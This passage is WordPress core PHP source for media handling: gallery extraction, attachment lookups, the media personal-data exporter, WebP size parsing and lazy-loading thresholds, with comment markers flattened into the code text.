$post_type_object->labels->set_featured_image, Gallery. 'createGalleryTitle' => __( 'Create gallery' ), 'editGalleryTitle' => __( 'Edit gallery' ), 'cancelGalleryTitle' => __( '← Cancel gallery' ), 'insertGallery' => __( 'Insert gallery' ), 'updateGallery' => __( 'Update gallery' ), 'addToGallery' => __( 'Add to gallery' ), 'addToGalleryTitle' => __( 'Add to gallery' ), 'reverseOrder' => __( 'Reverse order' ), Edit Image. 'imageDetailsTitle' => __( 'Image details' ), 'imageReplaceTitle' => __( 'Replace image' ), 'imageDetailsCancel' => __( 'Cancel edit' ), 'editImage' => __( 'Edit image' ), Crop Image. 'chooseImage' => __( 'Choose image' ), 'selectAndCrop' => __( 'Select and crop' ), 'skipCropping' => __( 'Skip cropping' ), 'cropImage' => __( 'Crop image' ), 'cropYourImage' => __( 'Crop your image' ), 'cropping' => __( 'Cropping…' ), translators: 1: Suggested width number, 2: Suggested height number. 'suggestedDimensions' => __( 'Suggested image dimensions: %1$s by %2$s pixels.' ), 'cropError' => __( 'There has been an error cropping your image.' ), Edit Audio. 'audioDetailsTitle' => __( 'Audio details' ), 'audioReplaceTitle' => __( 'Replace audio' ), 'audioAddSourceTitle' => __( 'Add audio source' ), 'audioDetailsCancel' => __( 'Cancel edit' ), Edit Video. 'videoDetailsTitle' => __( 'Video details' ), 'videoReplaceTitle' => __( 'Replace video' ), 'videoAddSourceTitle' => __( 'Add video source' ), 'videoDetailsCancel' => __( 'Cancel edit' ), 'videoSelectPosterImageTitle' => __( 'Select poster image' ), 'videoAddTrackTitle' => __( 'Add subtitles' ), Playlist. 'playlistDragInfo' => __( 'Drag and drop to reorder tracks.' ), 'createPlaylistTitle' => __( 'Create audio playlist' ), 'editPlaylistTitle' => __( 'Edit audio playlist' ), 'cancelPlaylistTitle' => __( '← Cancel audio playlist' ), 'insertPlaylist' => __( 'Insert audio playlist' ), 'updatePlaylist' => __( 'Update audio playlist' ), 'addToPlaylist' => __( 'Add to audio playlist' ), 'addToPlaylistTitle' => __( 'Add to Audio Playlist' ), Video Playlist. 'videoPlaylistDragInfo' => __( 'Drag and drop to reorder videos.' ), 'createVideoPlaylistTitle' => __( 'Create video playlist' ), 'editVideoPlaylistTitle' => __( 'Edit video playlist' ), 'cancelVideoPlaylistTitle' => __( '← Cancel video playlist' ), 'insertVideoPlaylist' => __( 'Insert video playlist' ), 'updateVideoPlaylist' => __( 'Update video playlist' ), 'addToVideoPlaylist' => __( 'Add to video playlist' ), 'addToVideoPlaylistTitle' => __( 'Add to video Playlist' ), Headings. 'filterAttachments' => __( 'Filter media' ), 'attachmentsList' => __( 'Media list' ), ); * * Filters the media view settings. * * @since 3.5.0 * * @param array $settings List of media view settings. * @param WP_Post $post Post object. $settings = apply_filters( 'media_view_settings', $settings, $post ); * * Filters the media view strings. * * @since 3.5.0 * * @param string[] $strings Array of media view strings keyed by the name they'll be referenced by in JavaScript. * @param WP_Post $post Post object. $strings = apply_filters( 'media_view_strings', $strings, $post ); $strings['settings'] = $settings; Ensure we enqueue media-editor first, that way media-views is registered internally before we try to localize it. See #24724. wp_enqueue_script( 'media-editor' ); wp_localize_script( 'media-views', '_wpMediaViewsL10n', $strings ); wp_enqueue_script( 'media-audiovideo' ); wp_enqueue_style( 'media-views' ); if ( is_admin() ) { wp_enqueue_script( 'mce-view' ); wp_enqueue_script( 'image-edit' ); } wp_enqueue_style( 'imgareaselect' ); wp_plupload_default_settings(); require_once ABSPATH . WPINC . '/media-template.php'; add_action( 'admin_footer', 'wp_print_media_templates' ); add_action( 'wp_footer', 'wp_print_media_templates' ); add_action( 'customize_controls_print_footer_scripts', 'wp_print_media_templates' ); * * Fires at the conclusion of wp_enqueue_media(). * * @since 3.5.0 do_action( 'wp_enqueue_media' ); } * * Retrieves media attached to the passed post. * * @since 3.6.0 * * @param string $type Mime type. * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post. * @return WP_Post[] Array of media attached to the given post. function get_attached_media( $type, $post = 0 ) { $post = get_post( $post ); if ( ! $post ) { return array(); } $args = array( 'post_parent' => $post->ID, 'post_type' => 'attachment', 'post_mime_type' => $type, 'posts_per_page' => -1, 'orderby' => 'menu_order', 'order' => 'ASC', ); * * Filters arguments used to retrieve media attached to the given post. * * @since 3.6.0 * * @param array $args Post query arguments. * @param string $type Mime type of the desired media. * @param WP_Post $post Post object. $args = apply_filters( 'get_attached_media_args', $args, $type, $post ); $children = get_children( $args ); * * Filters the list of media attached to the given post. * * @since 3.6.0 * * @param WP_Post[] $children Array of media attached to the given post. * @param string $type Mime type of the media desired. * @param WP_Post $post Post object. return (array) apply_filters( 'get_attached_media', $children, $type, $post ); } * * Checks the HTML content for a audio, video, object, embed, or iframe tags. * * @since 3.6.0 * * @param string $content A string of HTML which might contain media elements. * @param string[] $types An array of media types: 'audio', 'video', 'object', 'embed', or 'iframe'. * @return string[] Array of found HTML media elements. function get_media_embedded_in_content( $content, $types = null ) { $html = array(); * * Filters the embedded media types that are allowed to be returned from the content blob. * * @since 4.2.0 * * @param string[] $allowed_media_types An array of allowed media types. Default media types are * 'audio', 'video', 'object', 'embed', and 'iframe'. $allowed_media_types = apply_filters( 'media_embedded_in_content_allowed_types', array( 'audio', 'video', 'object', 'embed', 'iframe' ) ); if ( ! empty( $types ) ) { if ( ! is_array( $types ) ) { $types = array( $types ); } $allowed_media_types = array_intersect( $allowed_media_types, $types ); } $tags = implode( '|', $allowed_media_types ); if ( preg_match_all( '#<(?P<tag>' . $tags . ')[^<]*?(?:>[\s\S]*?<\/(?P=tag)>|\s*\/>)#', $content, $matches ) ) { foreach ( $matches[0] as $match ) { $html[] = $match; } } return $html; } * * Retrieves galleries from the passed post's content. * * @since 3.6.0 * * @param int|WP_Post $post Post ID or object. * @param bool $html Optional. Whether to return HTML or data in the array. Default true. * @return array A list of arrays, each containing gallery data and srcs parsed * from the expanded shortcode. function get_post_galleries( $post, $html = true ) { $post = get_post( $post ); if ( ! $post ) { return array(); } if ( ! has_shortcode( $post->post_content, 'gallery' ) && ! has_block( 'gallery', $post->post_content ) ) { return array(); } $galleries = array(); if ( preg_match_all( '/' . get_shortcode_regex() . '/s', $post->post_content, $matches, PREG_SET_ORDER ) ) { foreach ( $matches as $shortcode ) { if ( 'gallery' === $shortcode[2] ) { $srcs = array(); $shortcode_attrs = shortcode_parse_atts( $shortcode[3] ); if ( ! is_array( $shortcode_attrs ) ) { $shortcode_attrs = array(); } Specify the post ID of the gallery we're viewing if the shortcode doesn't reference another post already. if ( ! isset( $shortcode_attrs['id'] ) ) { $shortcode[3] .= ' id="' . (int) $post->ID . '"'; } $gallery = do_shortcode_tag( $shortcode ); if ( $html ) { $galleries[] = $gallery; } else { preg_match_all( '#src=([\'"])(.+?)\1#is', $gallery, $src, PREG_SET_ORDER ); if ( ! empty( $src ) ) { foreach ( $src as $s ) { $srcs[] = $s[2]; } } $galleries[] = array_merge( $shortcode_attrs, array( 'src' => array_values( array_unique( $srcs ) ), ) ); } } } } if ( has_block( 'gallery', $post->post_content ) ) { $post_blocks = parse_blocks( $post->post_content ); while ( $block = array_shift( $post_blocks ) ) { $has_inner_blocks = ! empty( $block['innerBlocks'] ); Skip blocks with no blockName and no innerHTML. if ( ! $block['blockName'] ) { continue; } Skip non-Gallery blocks. if ( 'core/gallery' !== $block['blockName'] ) { Move inner blocks into the root array before skipping. if ( $has_inner_blocks ) { array_push( $post_blocks, ...$block['innerBlocks'] ); } continue; } New Gallery block format as HTML. if ( $has_inner_blocks && $html ) { $block_html = wp_list_pluck( $block['innerBlocks'], 'innerHTML' ); $galleries[] = '<figure>' . implode( ' ', $block_html ) . '</figure>'; continue; } $srcs = array(); New Gallery block format as an array. if ( $has_inner_blocks ) { $attrs = wp_list_pluck( $block['innerBlocks'], 'attrs' ); $ids = wp_list_pluck( $attrs, 'id' ); foreach ( $ids as $id ) { $url = wp_get_attachment_url( $id ); if ( is_string( $url ) && ! in_array( $url, $srcs, true ) ) { $srcs[] = $url; } } $galleries[] = array( 'ids' => implode( ',', $ids ), 'src' => $srcs, ); continue; } Old Gallery block format as HTML. if ( $html ) { $galleries[] = $block['innerHTML']; continue; } Old Gallery block format as an array. $ids = ! empty( $block['attrs']['ids'] ) ? $block['attrs']['ids'] : array(); If present, use the image IDs from the JSON blob as canonical. if ( ! empty( $ids ) ) { foreach ( $ids as $id ) { $url = wp_get_attachment_url( $id ); if ( is_string( $url ) && ! in_array( $url, $srcs, true ) ) { $srcs[] = $url; } } $galleries[] = array( 'ids' => implode( ',', $ids ), 'src' => $srcs, ); continue; } Otherwise, extract srcs from the innerHTML. preg_match_all( '#src=([\'"])(.+?)\1#is', $block['innerHTML'], $found_srcs, PREG_SET_ORDER ); if ( ! empty( $found_srcs[0] ) ) { foreach ( $found_srcs as $src ) { if ( isset( $src[2] ) && ! in_array( $src[2], $srcs, true ) ) { $srcs[] = $src[2]; } } } $galleries[] = array( 'src' => $srcs ); } } * * Filters the list of all found galleries in the given post. * * @since 3.6.0 * * @param array $galleries Associative array of all found post galleries. * @param WP_Post $post Post object. return apply_filters( 'get_post_galleries', $galleries, $post ); } * * Checks a specified post's content for gallery and, if present, return the first * * @since 3.6.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post. * @param bool $html Optional. Whether to return HTML or data. Default is true. * @return string|array Gallery data and srcs parsed from the expanded shortcode. function get_post_gallery( $post = 0, $html = true ) { $galleries = get_post_galleries( $post, $html ); $gallery = reset( $galleries ); * * Filters the first-found post gallery. * * @since 3.6.0 * * @param array $gallery The first-found post gallery. * @param int|WP_Post $post Post ID or object. * @param array $galleries Associative array of all found post galleries. return apply_filters( 'get_post_gallery', $gallery, $post, $galleries ); } * * Retrieves the image srcs from galleries from a post's content, if present. * * @since 3.6.0 * * @see get_post_galleries() * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @return array A list of lists, each containing image srcs parsed. * from an expanded shortcode function get_post_galleries_images( $post = 0 ) { $galleries = get_post_galleries( $post, false ); return wp_list_pluck( $galleries, 'src' ); } * * Checks a post's content for galleries and return the image srcs for the first found gallery. * * @since 3.6.0 * * @see get_post_gallery() * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @return string[] A list of a gallery's image srcs in order. function get_post_gallery_images( $post = 0 ) { $gallery = get_post_gallery( $post, false ); return empty( $gallery['src'] ) ? array() : $gallery['src']; } * * Maybe attempts to generate attachment metadata, if missing. * * @since 3.9.0 * * @param WP_Post $attachment Attachment object. function wp_maybe_generate_attachment_metadata( $attachment ) { if ( empty( $attachment ) || empty( $attachment->ID ) ) { return; } $attachment_id = (int) $attachment->ID; $file = get_attached_file( $attachment_id ); $meta = wp_get_attachment_metadata( $attachment_id ); if ( empty( $meta ) && file_exists( $file ) ) { $_meta = get_post_meta( $attachment_id ); $_lock = 'wp_generating_att_' . $attachment_id; if ( ! array_key_exists( '_wp_attachment_metadata', $_meta ) && ! get_transient( $_lock ) ) { set_transient( $_lock, $file ); wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) ); delete_transient( $_lock ); } } } * * Tries to convert an attachment URL into a post ID. * * @since 4.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $url The URL to resolve. * @return int The found post ID, or 0 on failure. function attachment_url_to_postid( $url ) { global $wpdb; $dir = wp_get_upload_dir(); $path = $url; $site_url = parse_url( $dir['url'] ); $image_path = parse_url( $path ); Force the protocols to match if needed. if ( isset( $image_path['scheme'] ) && ( $image_path['scheme'] !== $site_url['scheme'] ) ) { $path = str_replace( $image_path['scheme'], $site_url['scheme'], $path ); } if ( 0 === strpos( $path, $dir['baseurl'] . '/' ) ) { $path = substr( $path, strlen( $dir['baseurl'] . '/' ) ); } $sql = $wpdb->prepare( "SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = '_wp_attached_file' AND meta_value = %s", $path ); $results = $wpdb->get_results( $sql ); $post_id = null; if ( $results ) { Use the first available result, but prefer a case-sensitive match, if exists. $post_id = reset( $results )->post_id; if ( count( $results ) > 1 ) { foreach ( $results as $result ) { if ( $path === $result->meta_value ) { $post_id = $result->post_id; break; } } } } * * Filters an attachment ID found by URL. * * @since 4.2.0 * * @param int|null $post_id The post_id (if any) found by the function. * @param string $url The URL being looked up. return (int) apply_filters( 'attachment_url_to_postid', $post_id, $url ); } * * Returns the URLs for CSS files used in an iframe-sandbox'd TinyMCE media view. * * @since 4.0.0 * * @return string[] The relevant CSS file URLs. function wpview_media_sandbox_styles() { $version = 'ver=' . get_bloginfo( 'version' ); $mediaelement = includes_url( "js/mediaelement/mediaelementplayer-legacy.min.css?$version" ); $wpmediaelement = includes_url( "js/mediaelement/wp-mediaelement.css?$version" ); return array( $mediaelement, $wpmediaelement ); } * * Registers the personal data exporter for media. * * @param array[] $exporters An array of personal data exporters, keyed by their ID. * @return array[] Updated array of personal data exporters. function wp_register_media_personal_data_exporter( $exporters ) { $exporters['wordpress-media'] = array( 'exporter_friendly_name' => __( 'WordPress Media' ), 'callback' => 'wp_media_personal_data_exporter', ); return $exporters; } * * Finds and exports attachments associated with an email address. * * @since 4.9.6 * * @param string $email_address The attachment owner email address. * @param int $page Attachment page. * @return array An array of personal data. function wp_media_personal_data_exporter( $email_address, $page = 1 ) { Limit us to 50 attachments at a time to avoid timing out. $number = 50; $page = (int) $page; $data_to_export = array(); $user = get_user_by( 'email', $email_address ); if ( false === $user ) { return array( 'data' => $data_to_export, 'done' => true, ); } $post_query = new WP_Query( array( 'author' => $user->ID, 'posts_per_page' => $number, 'paged' => $page, 'post_type' => 'attachment', 'post_status' => 'any', 'orderby' => 'ID', 'order' => 'ASC', ) ); foreach ( (array) $post_query->posts as $post ) { $attachment_url = wp_get_attachment_url( $post->ID ); if ( $attachment_url ) { $post_data_to_export = array( array( 'name' => __( 'URL' ), 'value' => $attachment_url, ), ); $data_to_export[] = array( 'group_id' => 'media', 'group_label' => __( 'Media' ), 'group_description' => __( 'User’s media data.' ), 'item_id' => "post-{$post->ID}", 'data' => $post_data_to_export, ); } } $done = $post_query->max_num_pages <= $page; return array( 'data' => $data_to_export, 'done' => $done, ); } * * Adds additional default image sub-sizes. * * These sizes are meant to enhance the way WordPress displays images on the front-end on larger, * high-density devices. They make it possible to generate more suitable `srcset` and `sizes` attributes * when the users upload large images. * * The sizes can be changed or removed by themes and plugins but that is not recommended. * The size "names" reflect the image dimensions, so changing the sizes would be quite misleading. * * @since 5.3.0 * @access private function _wp_add_additional_image_sizes() { 2x medium_large size. add_image_size( '1536x1536', 1536, 1536 ); 2x large size. add_image_size( '2048x2048', 2048, 2048 ); } * * Callback to enable showing of the user error when uploading .heic images. * * @since 5.5.0 * * @param array[] $plupload_settings The settings for Plupload.js. * @return array[] Modified settings for Plupload.js. function wp_show_heic_upload_error( $plupload_settings ) { $plupload_settings['heic_upload_error'] = true; return $plupload_settings; } * * Allows PHP's getimagesize() to be debuggable when necessary. * * @since 5.7.0 * @since 5.8.0 Added support for WebP images. * * @param string $filename The file path. * @param array $image_info Optional. Extended image information (passed by reference). * @return array|false Array of image information or false on failure. function wp_getimagesize( $filename, array &$image_info = null ) { Don't silence errors when in debug mode, unless running unit tests. if ( defined( 'WP_DEBUG' ) && WP_DEBUG && ! defined( 'WP_RUN_CORE_TESTS' ) ) { if ( 2 === func_num_args() ) { $info = getimagesize( $filename, $image_info ); } else { $info = getimagesize( $filename ); } } else { * Silencing notice and warning is intentional. * * getimagesize() has a tendency to generate errors, such as * "corrupt JPEG data: 7191 extraneous bytes before marker", * even when it's able to provide image size information. * * See https:core.trac.wordpress.org/ticket/42480 if ( 2 === func_num_args() ) { phpcs:ignore WordPress.PHP.NoSilencedErrors $info = @getimagesize( $filename, $image_info ); } else { phpcs:ignore WordPress.PHP.NoSilencedErrors $info = @getimagesize( $filename ); } } if ( false !== $info ) { return $info; } For PHP versions that don't support WebP images, extract the image size info from the file headers. if ( 'image/webp' === wp_get_image_mime( $filename ) ) { $webp_info = wp_get_webp_info( $filename ); $width = $webp_info['width']; $height = $webp_info['height']; Mimic the native return format. if ( $width && $height ) { return array( $width, $height, IMAGETYPE_WEBP, sprintf( 'width="%d" height="%d"', $width, $height ), 'mime' => 'image/webp', ); } } The image could not be parsed. return false; } * * Extracts meta information about a WebP file: width, height, and type. * * @since 5.8.0 * * @param string $filename Path to a WebP file. * @return array { * An array of WebP image information. * * @type int|false $width Image width on success, false on failure. * @type int|false $height Image height on success, false on failure. * @type string|false $type The WebP type: one of 'lossy', 'lossless' or 'animated-alpha'. * False on failure. * } function wp_get_webp_info( $filename ) { $width = false; $height = false; $type = false; if ( 'image/webp' !== wp_get_image_mime( $filename ) ) { return compact( 'width', 'height', 'type' ); } $magic = file_get_contents( $filename, false, null, 0, 40 ); if ( false === $magic ) { return compact( 'width', 'height', 'type' ); } Make sure we got enough bytes. if ( strlen( $magic ) < 40 ) { return compact( 'width', 'height', 'type' ); } The headers are a little different for each of the three formats. Header values based on WebP docs, see https:developers.google.com/speed/webp/docs/riff_container. switch ( substr( $magic, 12, 4 ) ) { Lossy WebP. case 'VP8 ': $parts = unpack( 'v2', substr( $magic, 26, 4 ) ); $width = (int) ( $parts[1] & 0x3FFF ); $height = (int) ( $parts[2] & 0x3FFF ); $type = 'lossy'; break; Lossless WebP. case 'VP8L': $parts = unpack( 'C4', substr( $magic, 21, 4 ) ); $width = (int) ( $parts[1] | ( ( $parts[2] & 0x3F ) << 8 ) ) + 1; $height = (int) ( ( ( $parts[2] & 0xC0 ) >> 6 ) | ( $parts[3] << 2 ) | ( ( $parts[4] & 0x03 ) << 10 ) ) + 1; $type = 'lossless'; break; Animated/alpha WebP. case 'VP8X': Pad 24-bit int. $width = unpack( 'V', substr( $magic, 24, 3 ) . "\x00" ); $width = (int) ( $width[1] & 0xFFFFFF ) + 1; Pad 24-bit int. $height = unpack( 'V', substr( $magic, 27, 3 ) . "\x00" ); $height = (int) ( $height[1] & 0xFFFFFF ) + 1; $type = 'animated-alpha'; break; } return compact( 'width', 'height', 'type' ); } * * Gets the default value to use for a `loading` attribute on an element. * * This function should only be called for a tag and context if lazy-loading is generally enabled. * * The function usually returns 'lazy', but uses certain heuristics to guess whether the current element is likely to * appear above the fold, in which case it returns a boolean `false`, which will lead to the `loading` attribute being * omitted on the element. The purpose of this refinement is to avoid lazy-loading elements that are within the initial * viewport, which can have a negative performance impact. * * Under the hood, the function uses {@see wp_increase_content_media_count()} every time it is called for an element * within the main content. If the element is the very first content element, the `loading` attribute will be omitted. * This default threshold of 1 content element to omit the `loading` attribute for can be customized using the * {@see 'wp_omit_loading_attr_threshold'} filter. * * @since 5.9.0 * * @param string $context Context for the element for which the `loading` attribute value is requested. * @return string|bool The default `loading` attribute value. Either 'lazy', 'eager', or a boolean `false`, to indicate * that the `loading` attribute should be skipped. function wp_get_loading_attr_default( $context ) { Only elements with 'the_content' or 'the_post_thumbnail' context have special handling. if ( 'the_content' !== $context && 'the_post_thumbnail' !== $context ) { return 'lazy'; } Only elements within the main query loop have special handling. if ( is_admin() || ! in_the_loop() || ! is_main_query() ) { return 'lazy'; } Increase the counter since this is a main query content element. $content_media_count = wp_increase_content_media_count(); If the count so far is below the threshold, return `false` so that the `loading` attribute is omitted. if ( $content_media_count <= wp_omit_loading_attr_threshold() ) { return false; } For elements after the threshold, lazy-load them as usual. return 'lazy'; } * * Gets the threshold for how many of the first content media elements to not lazy-load. * * This function runs the {@see 'wp_omit_loading_attr_threshold'} filter, which uses a default threshold value of 1. * The filter is only run once per page load, unless the `$force` parameter is used. * * @since 5.9.0 * * @param bool $force Optional. If set to true, the filter will be (re-)applied even if it already has been before. * Default false. * @return int The number of content media elements to not lazy-load. function wp_omit_loading_attr_threshold( $force = false ) { static $omit_threshold; This function may be called multiple times. Run the filter only once per page load. if ( ! isset( $omit_threshold ) || $force ) { * * Filters the threshold for how many of the first content media elements to not lazy-load. * * For these first content media elements, the `loading` attribute will be omitted. By default, this is the case * for only the very first content media element. * * @since 5.9.0 * * @param int $omit_threshold The number of media elements where the `loading` attribute will not be added. Default 1. $omit_threshold = apply_filters( 'wp_omit_loading_attr_threshold', 1 ); } return $omit_threshold; } * * Increases an internal content media count variable. * * @since 5.9.0 * @access private * * @param int $amount Optional. Amount to increase by. Default 1. * @return int The latest content media count, after the increase. function wp_increase_content_media_count( $amount = 1 ) { static $content_media_count = 0; $content_media_count += $amount; return $content_media_count; } */
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